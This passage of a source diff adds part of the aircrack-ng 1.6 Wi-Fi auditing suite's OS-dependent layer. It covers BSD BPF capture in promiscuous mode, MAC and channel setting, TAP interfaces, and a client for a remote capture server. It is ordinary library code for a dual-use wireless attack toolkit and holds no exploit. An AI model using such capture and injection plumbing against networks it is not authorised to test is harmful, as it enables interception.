+	strncpy(pn->pn_ifr.ifr_name, iface, IFNAMSIZ);
+
+	/* open bpf */
+	for (i = 0; i < 256; i++)
+	{
+		snprintf(buf, sizeof(buf), "/dev/bpf%d", i);
+
+		fd = open(buf, O_RDWR);
+		if (fd < 0)
+		{
+			if (errno != EBUSY) return -1;
+			continue;
+		}
+		else
+			break;
+	}
+
+	if (fd < 0) goto close_sock;
+
+	if (ioctl(fd, BIOCSBLEN, &size) < 0) goto close_bpf;
+
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+
+	if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf;
+
+	if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf;
+
+	if (ioctl(fd, BIOCPROMISC, NULL) < 0) goto close_bpf;
+
+	dlt = 1;
+	if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf;
+
+	return fd;
+
+close_sock:
+	close(s);
+	return -1;
+close_bpf:
+	close(fd);
+	goto close_sock;
+}
+
+static int nbsd_fd(struct wif * wi)
+{
+	struct priv_nbsd * pn = wi_priv(wi);
+
+	return pn->pn_fd;
+}
+
+static int nbsd_get_mac(struct wif * wi, unsigned char * mac)
+{
+	struct ifaddrs *ifa, *p;
+	char * name = wi_get_ifname(wi);
+	int rc = -1;
+	struct sockaddr_dl * sdp;
+
+	if (getifaddrs(&ifa) == -1) return -1;
+
+	p = ifa;
+	while (p)
+	{
+		if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0)
+		{
+
+			sdp = (struct sockaddr_dl *) p->ifa_addr;
+			memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6);
+			rc = 0;
+			break;
+		}
+
+		p = p->ifa_next;
+	}
+	freeifaddrs(ifa);
+
+	return rc;
+}
+
+static int nbsd_get_monitor(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 0;
+}
+
+static int nbsd_get_rate(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 1000000;
+}
+
+static int nbsd_set_rate(struct wif * wi, int rate)
+{
+	if (wi || rate)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 0;
+}
+
+static int nbsd_set_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_nbsd * pn = wi_priv(wi);
+	struct ifreq * ifr = &pn->pn_ifr;
+
+	ifr->ifr_addr.sa_family = AF_LINK;
+	ifr->ifr_addr.sa_len = 6;
+	memcpy(ifr->ifr_addr.sa_data, mac, 6);
+
+	return ioctl(pn->pn_s, SIOCSIFADDR, ifr);
+}
+
+static struct wif * nbsd_open(char * iface)
+{
+	struct wif * wi;
+	struct priv_nbsd * pn;
+	int fd;
+
+	/* setup wi struct */
+	wi = wi_alloc(sizeof(*pn));
+	if (!wi) return NULL;
+	wi->wi_read = nbsd_read;
+	wi->wi_write = nbsd_write;
+	wi->wi_set_channel = nbsd_set_channel;
+	wi->wi_get_channel = nbsd_get_channel;
+	wi->wi_close = nbsd_close;
+	wi->wi_fd = nbsd_fd;
+	wi->wi_get_mac = nbsd_get_mac;
+	wi->wi_set_mac = nbsd_set_mac;
+	wi->wi_get_rate = nbsd_get_rate;
+	wi->wi_set_rate = nbsd_set_rate;
+	wi->wi_get_monitor = nbsd_get_monitor;
+
+	/* setup iface */
+	fd = do_nbsd_open(wi, iface);
+	if (fd == -1)
+	{
+		do_free(wi);
+		return NULL;
+	}
+
+	/* setup private state */
+	pn = wi_priv(wi);
+	pn->pn_fd = fd;
+
+	return wi;
+}
+
+struct wif * wi_open_osdep(char * iface) { return nbsd_open(iface); }
+
+EXPORT int get_battery_state(void)
+{
+#if defined(__FreeBSD__)
+	int value;
+	size_t len;
+
+	len = 1;
+	value = 0;
+	sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0);
+	if (value == 0)
+	{
+		sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0);
+		value = value * 60;
+	}
+	else
+	{
+		value = 0;
+	}
+
+	return (value);
+#elif defined(_BSD_SOURCE)
+	struct apm_power_info api;
+	int apmfd;
+	if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0;
+	if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0)
+	{
+		close(apmfd);
+		return 0;
+	}
+	close(apmfd);
+	if (api.battery_state == APM_BATT_UNKNOWN
+		|| api.battery_state == APM_BATTERY_ABSENT
+		|| api.battery_state == APM_BATT_CHARGING
+		|| api.ac_state == APM_AC_ON)
+	{
+		return 0;
+	}
+	return ((int) (api.minutes_left)) * 60;
+#else
+	return 0;
+#endif
+}

aircrack-ng-1.6.tar.gz/lib/osdep/netbsd_tap.c Added

@@ -0,0 +1,221 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for NetBSD. TAP routines
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+#include "osdep.h"
+
+struct tip_nbsd
+{
+	int tn_fd;
+	int tn_ioctls;
+	struct ifreq tn_ifr;
+	char tn_name[MAX_IFACE_NAME];
+	int tn_destroy;
+};
+
+static int ti_do_open_nbsd(struct tif * ti, char * name)
+{
+	int fd;
+	char * iface = "/dev/tap";
+	struct stat st;
+	struct tip_nbsd * priv = ti_priv(ti);
+	int s;
+	unsigned int flags;
+	struct ifreq * ifr;
+
+	/* open tap */
+	if (name)
+		iface = name;
+	else
+		priv->tn_destroy = 1; /* we create, we destroy */
+
+	fd = open(iface, O_RDWR);
+	if (fd == -1) return -1;
+
+	/* get name */
+	if (fstat(fd, &st) == -1) goto err;
+	snprintf(priv->tn_name,
+			 sizeof(priv->tn_name) - 1,
+			 "%s",
+			 devname(st.st_rdev, S_IFCHR));
+
+	/* bring iface up */
+	s = socket(PF_INET, SOCK_DGRAM, 0);
+	if (s == -1) goto err;
+	priv->tn_ioctls = s;
+
+	/* get flags */
+	ifr = &priv->tn_ifr;
+	memset(ifr, 0, sizeof(*ifr));
+	snprintf(ifr->ifr_name, sizeof(ifr->ifr_name) - 1, "%s", priv->tn_name);
+	if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2;
+	flags = ifr->ifr_flags;
+
+	/* set flags */
+	flags |= IFF_UP;
+	ifr->ifr_flags = flags & 0xffff;
+	if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2;
+
+	return fd;
+err:
+	/* XXX destroy */
+	close(fd);
+	return -1;
+err2:
+	close(s);
+	goto err;
+}
+
+static void ti_do_free(struct tif * ti)
+{
+	struct tip_nbsd * priv = ti_priv(ti);
+
+	free(priv);
+	free(ti);
+}
+
+static void ti_destroy(struct tip_nbsd * priv)
+{
+	ioctl(priv->tn_ioctls, SIOCIFDESTROY, &priv->tn_ifr);
+}
+
+static void ti_close_nbsd(struct tif * ti)
+{
+	struct tip_nbsd * priv = ti_priv(ti);
+
+	if (priv->tn_destroy) ti_destroy(priv);
+
+	close(priv->tn_fd);
+	close(priv->tn_ioctls);
+	ti_do_free(ti);
+}
+
+static char * ti_name_nbsd(struct tif * ti)
+{
+	struct tip_nbsd * priv = ti_priv(ti);
+
+	return priv->tn_name;
+}
+
+static int ti_set_mtu_nbsd(struct tif * ti, int mtu)
+{
+	struct tip_nbsd * priv = ti_priv(ti);
+
+	priv->tn_ifr.ifr_mtu = mtu;
+
+	return ioctl(priv->tn_ioctls, SIOCSIFMTU, &priv->tn_ifr);
+}
+
+static int ti_set_mac_nbsd(struct tif * ti, unsigned char * mac)
+{
+	struct tip_nbsd * priv = ti_priv(ti);
+	struct ifreq * ifr = &priv->tn_ifr;
+
+	ifr->ifr_addr.sa_family = AF_LINK;
+	ifr->ifr_addr.sa_len = 6;
+	memcpy(ifr->ifr_addr.sa_data, mac, 6);
+
+	return ioctl(priv->tn_ioctls, SIOCSIFADDR, ifr);
+}
+
+static int ti_set_ip_nbsd(struct tif * ti, struct in_addr * ip)
+{
+	struct tip_nbsd * priv = ti_priv(ti);
+	struct ifaliasreq ifra;
+	struct sockaddr_in * s_in;
+
+	/* assume same size */
+	memset(&ifra, 0, sizeof(ifra));
+	strncpy(ifra.ifra_name, priv->tn_ifr.ifr_name, IFNAMSIZ);
+
+	s_in = (struct sockaddr_in *) &ifra.ifra_addr;
+	s_in->sin_family = PF_INET;
+	s_in->sin_addr = *ip;
+	s_in->sin_len = sizeof(*s_in);
+
+	return ioctl(priv->tn_ioctls, SIOCAIFADDR, &ifra);
+}
+
+static int ti_fd_nbsd(struct tif * ti)
+{
+	struct tip_nbsd * priv = ti_priv(ti);
+
+	return priv->tn_fd;
+}
+
+static int ti_read_nbsd(struct tif * ti, void * buf, int len)
+{
+	return read(ti_fd(ti), buf, len);
+}
+
+static int ti_write_nbsd(struct tif * ti, void * buf, int len)
+{
+	return write(ti_fd(ti), buf, len);
+}
+
+static struct tif * ti_open_nbsd(char * iface)
+{
+	struct tif * ti;
+	struct tip_nbsd * priv;
+	int fd;
+
+	/* setup ti struct */
+	ti = ti_alloc(sizeof(*priv));
+	if (!ti) return NULL;
+	ti->ti_name = ti_name_nbsd;
+	ti->ti_set_mtu = ti_set_mtu_nbsd;
+	ti->ti_close = ti_close_nbsd;
+	ti->ti_fd = ti_fd_nbsd;
+	ti->ti_read = ti_read_nbsd;
+	ti->ti_write = ti_write_nbsd;
+	ti->ti_set_mac = ti_set_mac_nbsd;
+	ti->ti_set_ip = ti_set_ip_nbsd;
+
+	/* setup iface */
+	fd = ti_do_open_nbsd(ti, iface);
+	if (fd == -1)
+	{
+		ti_do_free(ti);
+		return NULL;
+	}
+
+	/* setup private state */
+	priv = ti_priv(ti);
+	priv->tn_fd = fd;
+
+	return ti;
+}
+
+EXPORT struct tif * ti_open(char * iface) { return ti_open_nbsd(iface); }

aircrack-ng-1.6.tar.gz/lib/osdep/network.c Added

@@ -0,0 +1,534 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for using card via network.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <assert.h>
+#include <sys/select.h>
+#include <errno.h>
+
+#include "aircrack-ng/support/communications.h"
+#include "osdep.h"
+#include "network.h"
+
+#define QUEUE_MAX 666
+
+struct netqueue
+{
+	unsigned char q_buf[2048];
+	int q_len;
+
+	struct netqueue * q_next;
+	struct netqueue * q_prev;
+};
+
+struct priv_net
+{
+	int pn_s;
+	struct netqueue pn_queue;
+	struct netqueue pn_queue_free;
+	int pn_queue_len;
+};
+
+EXPORT int net_send(int s, int command, void * arg, int len)
+{
+	struct net_hdr * pnh;
+	char * pktbuf;
+	size_t pktlen;
+
+	// Validate command value
+	assert(command >= NET_RC && command <= HIGHEST_NET_COMMAND);
+	if (command < NET_RC || command > HIGHEST_NET_COMMAND)
+	{
+		return -1;
+	}
+
+	pktlen = sizeof(struct net_hdr) + len;
+
+	pktbuf = (char *) calloc(sizeof(char), pktlen);
+	if (pktbuf == NULL)
+	{
+		perror("calloc");
+		goto net_send_error;
+	}
+
+	pnh = (struct net_hdr *) pktbuf;
+	pnh->nh_type = command;
+	pnh->nh_len = htonl(len);
+
+	assert(arg != NULL);
+	memcpy(pktbuf + sizeof(struct net_hdr), arg, len);
+
+	for (;;)
+	{
+		ssize_t rc = send(s, pktbuf, pktlen, 0);
+
+		if ((size_t) rc == pktlen) break;
+
+		if (rc == EAGAIN || rc == EWOULDBLOCK || rc == EINTR) continue;
+
+		if (rc == ECONNRESET)
+			printf("Connection reset while sending packet!\n");
+
+		goto net_send_error;
+	}
+
+	free(pktbuf);
+	return 0;
+
+net_send_error:
+	free(pktbuf);
+	return -1;
+}
+
+EXPORT int net_read_exact(int s, void * arg, int len)
+{
+	ssize_t rc;
+	int rlen = 0;
+	char * buf = (char *) arg;
+	while (rlen < len)
+	{
+		rc = recv(s, buf, (len - rlen), 0);
+
+		if (rc < 1)
+		{
+			if (rc == -1 && (errno == EAGAIN || errno == EINTR))
+			{
+				usleep(100);
+				continue;
+			}
+
+			return -1;
+		}
+
+		buf += rc;
+		rlen += rc;
+	}
+
+	return 0;
+}
+
+EXPORT int net_get(int s, void * arg, int * len)
+{
+	struct net_hdr nh;
+	int plen;
+
+	if (net_read_exact(s, &nh, sizeof(nh)) == -1)
+	{
+		return -1;
+	}
+
+	plen = ntohl(nh.nh_len);
+	assert(plen <= *len && plen >= 0);
+
+	*len = plen;
+	if ((*len) && (net_read_exact(s, arg, *len) == -1))
+	{
+		return -1;
+	}
+
+	return nh.nh_type;
+}
+
+static void queue_del(struct netqueue * q)
+{
+	q->q_prev->q_next = q->q_next;
+	q->q_next->q_prev = q->q_prev;
+}
+
+static void queue_add(struct netqueue * head, struct netqueue * q)
+{
+	struct netqueue * pos = head->q_prev;
+
+	q->q_prev = pos;
+	q->q_next = pos->q_next;
+	q->q_next->q_prev = q;
+	pos->q_next = q;
+}
+
+#if 0
+static int queue_len(struct netqueue *head)
+{
+	struct netqueue *q = head->q_next;
+	int i = 0;
+
+	while (q != head) {
+		i++;
+		q = q->q_next;
+	}
+
+	return i;
+}
+#endif
+
+static struct netqueue * queue_get_slot(struct priv_net * pn)
+{
+	struct netqueue * q = pn->pn_queue_free.q_next;
+
+	if (q != &pn->pn_queue_free)
+	{
+		queue_del(q);
+		return q;
+	}
+
+	if (pn->pn_queue_len++ > QUEUE_MAX) return NULL;
+
+	return malloc(sizeof(*q));
+}
+
+static void net_enque(struct priv_net * pn, void * buf, int len)
+{
+	struct netqueue * q;
+
+	q = queue_get_slot(pn);
+	if (!q) return;
+
+	q->q_len = len;
+	assert((int) sizeof(q->q_buf) >= q->q_len);
+	memcpy(q->q_buf, buf, q->q_len);
+	queue_add(&pn->pn_queue, q);
+}
+
+static int net_get_nopacket(struct priv_net * pn, void * arg, int * len)
+{
+	unsigned char buf[2048];
+	int l = sizeof(buf);
+	int c;
+
+	while (1)
+	{
+		l = sizeof(buf);
+		c = net_get(pn->pn_s, buf, &l);
+		if (c < 0) return c;
+
+		if (c != NET_PACKET && c > 0) break;
+
+		if (c > 0) net_enque(pn, buf, l);
+	}
+
+	assert(l <= *len);
+	memcpy(arg, buf, l);
+	*len = l;
+
+	return c;
+}
+
+static int net_cmd(struct priv_net * pn, int command, void * arg, int alen)
+{
+	uint32_t rc;
+	int len;
+	int cmd;
+
+	if (net_send(pn->pn_s, command, arg, alen) == -1)
+	{
+		return -1;
+	}
+
+	len = sizeof(rc);
+	cmd = net_get_nopacket(pn, &rc, &len);
+	if (cmd == -1)
+	{
+		return -1;
+	}
+	assert(cmd == NET_RC);
+	assert(len == sizeof(rc));
+
+	return ntohl(rc);
+}
+
+static int queue_get(struct priv_net * pn, void * buf, int len)
+{
+	struct netqueue * head = &pn->pn_queue;
+	struct netqueue * q = head->q_next;
+
+	if (q == head) return 0;
+
+	assert(q->q_len <= len);
+	memcpy(buf, q->q_buf, q->q_len);
+
+	queue_del(q);
+	queue_add(&pn->pn_queue_free, q);
+
+	return q->q_len;
+}
+
+static int net_read(struct wif * wi,
+					struct timespec * ts,
+					int * dlt,
+					unsigned char * h80211,
+					int len,
+					struct rx_info * ri)
+{
+	struct priv_net * pn = wi_priv(wi);
+	uint32_t buf[512]; // 512 * 4 = 2048
+	unsigned char * bufc = (unsigned char *) buf;
+	int cmd;
+	int sz = sizeof(*ri);
+	int l;
+	int ret;
+
+	/* try queue */
+	l = queue_get(pn, buf, sizeof(buf));
+	if (!l)
+	{
+		/* try reading form net */
+		l = sizeof(buf);
+		cmd = net_get(pn->pn_s, buf, &l);
+
+		if (cmd == -1) return -1;
+		if (cmd == NET_RC)
+		{
+			ret = ntohl((buf[0]));
+			return ret;
+		}
+		assert(cmd == NET_PACKET);
+	}
+
+	/* XXX */
+	if (ri)
+	{
+		// re-assemble 64-bit integer
+		ri->ri_mactime = __be64_to_cpu((uint64_t) buf[0] << 32u | buf[1]);
+		ri->ri_power = __be32_to_cpu(buf[2]);
+		ri->ri_noise = __be32_to_cpu(buf[3]);
+		ri->ri_channel = __be32_to_cpu(buf[4]);
+		ri->ri_freq = __be32_to_cpu(buf[5]);
+		ri->ri_rate = __be32_to_cpu(buf[6]);
+		ri->ri_antenna = __be32_to_cpu(buf[7]);
+	}
+	l -= sz;
+	assert(l > 0);
+	if (l > len) l = len;
+	memcpy(h80211, &bufc[sz], l);
+
+	if (dlt)
+	{
+		*dlt = LINKTYPE_IEEE802_11;
+	}
+
+	if (ts)
+	{
+		clock_gettime(CLOCK_REALTIME, ts);
+	}
+
+	return l;
+}
+
+static int net_get_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_net * pn = wi_priv(wi);
+	uint32_t buf[2]; // only need 6 bytes, this provides 8
+	int cmd;
+	int sz = 6;
+
+	if (net_send(pn->pn_s, NET_GET_MAC, NULL, 0) == -1) return -1;
+
+	cmd = net_get_nopacket(pn, buf, &sz);
+	if (cmd == -1) return -1;
+	if (cmd == NET_RC) return ntohl(buf[0]);
+	assert(cmd == NET_MAC);
+	assert(sz == 6);
+
+	memcpy(mac, buf, 6); //-V512
+
+	return 0;
+}
+
+static int net_write(struct wif * wi,
+					 struct timespec * ts,
+					 int dlt,
+					 unsigned char * h80211,
+					 int len,
+					 struct tx_info * ti)
+{
+	struct priv_net * pn = wi_priv(wi);
+	int sz = sizeof(*ti);
+	unsigned char buf[2048];
+	unsigned char * ptr = buf;
+
+	(void) ts;
+	(void) dlt;
+
+	/* XXX */
+	if (ti)
+		memcpy(ptr, ti, sz); //-V512
+	else
+		memset(ptr, 0, sizeof(*ti)); //-V512
+
+	ptr += sz;
+	memcpy(ptr, h80211, len);
+	sz += len;
+
+	return net_cmd(pn, NET_WRITE, buf, sz);
+}
+
+static int net_set_channel(struct wif * wi, int chan)
+{
+	uint32_t c = htonl(chan);
+
+	return net_cmd(wi_priv(wi), NET_SET_CHAN, &c, sizeof(c));
+}
+
+static int net_get_channel(struct wif * wi)
+{
+	struct priv_net * pn = wi_priv(wi);
+
+	return net_cmd(pn, NET_GET_CHAN, NULL, 0);
+}
+
+static int net_set_rate(struct wif * wi, int rate)
+{
+	uint32_t c = htonl(rate);
+
+	return net_cmd(wi_priv(wi), NET_SET_RATE, &c, sizeof(c));
+}
+
+static int net_get_rate(struct wif * wi)
+{
+	struct priv_net * pn = wi_priv(wi);
+
+	return net_cmd(pn, NET_GET_RATE, NULL, 0);
+}
+
+static int net_get_monitor(struct wif * wi)
+{
+	return net_cmd(wi_priv(wi), NET_GET_MONITOR, NULL, 0);
+}
+
+static void do_net_free(struct wif * wi)
+{
+	assert(wi->wi_priv);
+	free(wi->wi_priv);
+	wi->wi_priv = 0;
+	free(wi);
+}
+
+static void net_close(struct wif * wi)
+{
+	struct priv_net * pn = wi_priv(wi);
+
+	close(pn->pn_s);
+	do_net_free(wi);
+}
+
+static int handshake(int s)
+{
+	if (s)
+	{
+	} /* XXX unused */
+	/* XXX do a handshake */
+	return 0;
+}
+
+static int do_net_open(char * iface)
+{
+	int s, port;
+	char ip[16];
+	struct sockaddr_in s_in;
+
+	port = get_ip_port(iface, ip, sizeof(ip) - 1);
+	if (port == -1) return -1;
+
+	memset(&s_in, 0, sizeof(struct sockaddr_in));
+	s_in.sin_family = PF_INET;
+	s_in.sin_port = htons(port);
+	if (!inet_aton(ip, &s_in.sin_addr)) return -1;
+
+	if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
+		return -1;
+
+	printf("Connecting to %s port %d...\n", ip, port);
+
+	if (connect(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+	{
+		close(s);
+
+		printf("Failed to connect\n");
+
+		return -1;
+	}
+
+	if (handshake(s) == -1)
+	{
+		close(s);
+
+		printf("Failed to connect - handshake failed\n");
+
+		return -1;
+	}
+
+	printf("Connection successful\n");
+
+	return s;
+}
+
+static int net_fd(struct wif * wi)
+{
+	struct priv_net * pn = wi_priv(wi);
+
+	return pn->pn_s;
+}
+
+EXPORT struct wif * net_open(char * iface)
+{
+	struct wif * wi;
+	struct priv_net * pn;
+	int s;
+
+	/* setup wi struct */
+	wi = wi_alloc(sizeof(*pn));
+	if (!wi) return NULL;
+	wi->wi_read = net_read;
+	wi->wi_write = net_write;
+	wi->wi_set_channel = net_set_channel;
+	wi->wi_get_channel = net_get_channel;
+	wi->wi_set_rate = net_set_rate;
+	wi->wi_get_rate = net_get_rate;
+	wi->wi_close = net_close;
+	wi->wi_fd = net_fd;
+	wi->wi_get_mac = net_get_mac;
+	wi->wi_get_monitor = net_get_monitor;
+
+	/* setup iface */
+	s = do_net_open(iface);
+	if (s == -1)
+	{
+		do_net_free(wi);
+		return NULL;
+	}
+
+	/* setup private state */
+	pn = wi_priv(wi);
+	pn->pn_s = s;
+	pn->pn_queue.q_next = pn->pn_queue.q_prev = &pn->pn_queue;
+	pn->pn_queue_free.q_next = pn->pn_queue_free.q_prev = &pn->pn_queue_free;
+
+	return wi;
+}

aircrack-ng-1.6.tar.gz/lib/osdep/openbsd.c Added

@@ -0,0 +1,601 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for OpenBSD.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/types.h>
+#include <sys/endian.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/param.h>
+#include <sys/sysctl.h>
+#include <net/bpf.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <net/if_media.h>
+#include <sys/ioctl.h>
+#include <net/if_dl.h>
+#include <sys/queue.h>
+#include <net/if_var.h>
+#include <sys/mbuf.h>
+#define _KERNEL
+#include <net80211/ieee80211.h>
+#include <net80211/ieee80211_crypto.h>
+#include <frame.h>
+#include <sys/timeout.h>
+#include <machine/intr.h>
+#undef _KERNEL
+#include <net80211/ieee80211_node.h>
+#include <net80211/ieee80211_ioctl.h>
+#include <net80211/ieee80211_radiotap.h>
+#include <net80211/ieee80211_proto.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <sys/uio.h>
+#include <assert.h>
+#include <ifaddrs.h>
+
+#include "osdep.h"
+
+#ifndef LINKTYPE_IEEE802_11
+#define LINKTYPE_IEEE802_11 105
+#endif
+
+#ifndef IEEE80211_RADIOTAP_F_FCS
+#define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */
+#endif
+
+#ifndef IEEE80211_IOC_CHANNEL
+#define IEEE80211_IOC_CHANNEL 0
+#endif
+
+#ifndef le32toh
+#define le32toh(x) htole32(x)
+#endif
+
+struct priv_obsd
+{
+	/* iface */
+	int po_fd;
+
+	/* rx */
+	int po_nocrc;
+
+	/* tx */
+	unsigned char po_buf[4096];
+	unsigned char * po_next;
+	int po_totlen;
+
+	/* setchan */
+	int po_s;
+	struct ifreq po_ifr;
+	struct ieee80211chanreq po_ireq;
+	int po_chan;
+};
+
+static void get_radiotap_info(struct priv_obsd * po,
+							  struct ieee80211_radiotap_header * rth,
+							  int * plen,
+							  struct rx_info * ri)
+{
+	uint32_t present;
+	uint8_t rflags = 0;
+	int i;
+	unsigned char * body = (unsigned char *) (rth + 1);
+	int dbm_power = 0, db_power = 0;
+
+	/* reset control info */
+	if (ri) memset(ri, 0, sizeof(*ri));
+
+	/* get info */
+	present = le32toh(rth->it_present);
+	for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++)
+	{
+		if (!(present & (1 << i))) continue;
+
+		switch (i)
+		{
+			case IEEE80211_RADIOTAP_TSFT:
+				body += sizeof(uint64_t);
+				break;
+
+			case IEEE80211_RADIOTAP_FLAGS:
+				rflags = *((uint8_t *) body);
+			/* fall through */
+			case IEEE80211_RADIOTAP_RATE:
+				body += sizeof(uint8_t);
+				break;
+
+			case IEEE80211_RADIOTAP_CHANNEL:
+				if (ri)
+				{
+					ri->ri_channel = 1;
+				}
+				body += sizeof(uint16_t) * 2;
+				break;
+
+			case IEEE80211_RADIOTAP_FHSS:
+				body += sizeof(uint16_t);
+				break;
+
+			case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
+				dbm_power = *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DBM_ANTNOISE:
+				dbm_power -= *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
+				db_power = *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DB_ANTNOISE:
+				db_power -= *body++;
+				break;
+
+			default:
+				i = IEEE80211_RADIOTAP_EXT + 1;
+				break;
+		}
+	}
+
+	/* set power */
+	if (ri)
+	{
+		if (dbm_power)
+			ri->ri_power = dbm_power;
+		else
+			ri->ri_power = db_power;
+	}
+
+	/* XXX cache; drivers won't change this per-packet */
+	/* check if FCS/CRC is included in packet */
+	if (po->po_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS))
+	{
+		*plen -= IEEE80211_CRC_LEN;
+		po->po_nocrc = 1;
+	}
+}
+
+static unsigned char *
+get_80211(struct priv_obsd * po, int * plen, struct rx_info * ri)
+{
+	struct bpf_hdr * bpfh;
+	struct ieee80211_radiotap_header * rth;
+	void * ptr;
+	unsigned char ** data;
+	int * totlen;
+
+	data = &po->po_next;
+	totlen = &po->po_totlen;
+	assert(*totlen);
+
+	/* bpf hdr */
+	bpfh = (struct bpf_hdr *) (*data);
+	assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
+	*totlen -= bpfh->bh_hdrlen;
+
+	/* check if more packets */
+	if ((int) bpfh->bh_caplen < *totlen)
+	{
+		int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
+		int offset = BPF_WORDALIGN(tot);
+
+		*data = (unsigned char *) bpfh + offset;
+		*totlen -= offset - tot; /* take into account align bytes */
+	}
+	else if ((int) bpfh->bh_caplen > *totlen)
+		abort();
+
+	*plen = bpfh->bh_caplen;
+	*totlen -= bpfh->bh_caplen;
+	assert(*totlen >= 0);
+
+	/* radiotap */
+	rth = (struct ieee80211_radiotap_header *) ((char *) bpfh
+												+ bpfh->bh_hdrlen);
+	get_radiotap_info(po, rth, plen, ri);
+	*plen -= rth->it_len;
+	assert(*plen > 0);
+
+	/* data */
+	ptr = (char *) rth + rth->it_len;
+
+	return ptr;
+}
+
+static int obsd_get_channel(struct wif * wi)
+{
+	struct priv_obsd * po = wi_priv(wi);
+	struct ieee80211chanreq channel;
+
+	memset(&channel, 0, sizeof(channel));
+	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
+
+	if (ioctl(po->po_s, SIOCG80211CHANNEL, (caddr_t) &channel) < 0) return -1;
+
+	return channel.i_channel;
+}
+
+static int obsd_set_channel(struct wif * wi, int chan)
+{
+	struct priv_obsd * po = wi_priv(wi);
+	struct ieee80211chanreq channel;
+
+	memset(&channel, 0, sizeof(channel));
+	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
+	channel.i_channel = chan;
+	if (ioctl(po->po_s, SIOCS80211CHANNEL, (caddr_t) &channel) < 0) return -1;
+	po->po_chan = chan;
+
+	return 0;
+}
+
+static int obsd_read(struct wif * wi,
+					 struct timespec * ts,
+					 int * dlt,
+					 unsigned char * h80211,
+					 int len,
+					 struct rx_info * ri)
+{
+	struct priv_obsd * po = wi_priv(wi);
+	unsigned char * wh;
+	int plen;
+
+	assert(len > 0);
+
+	/* need to read more */
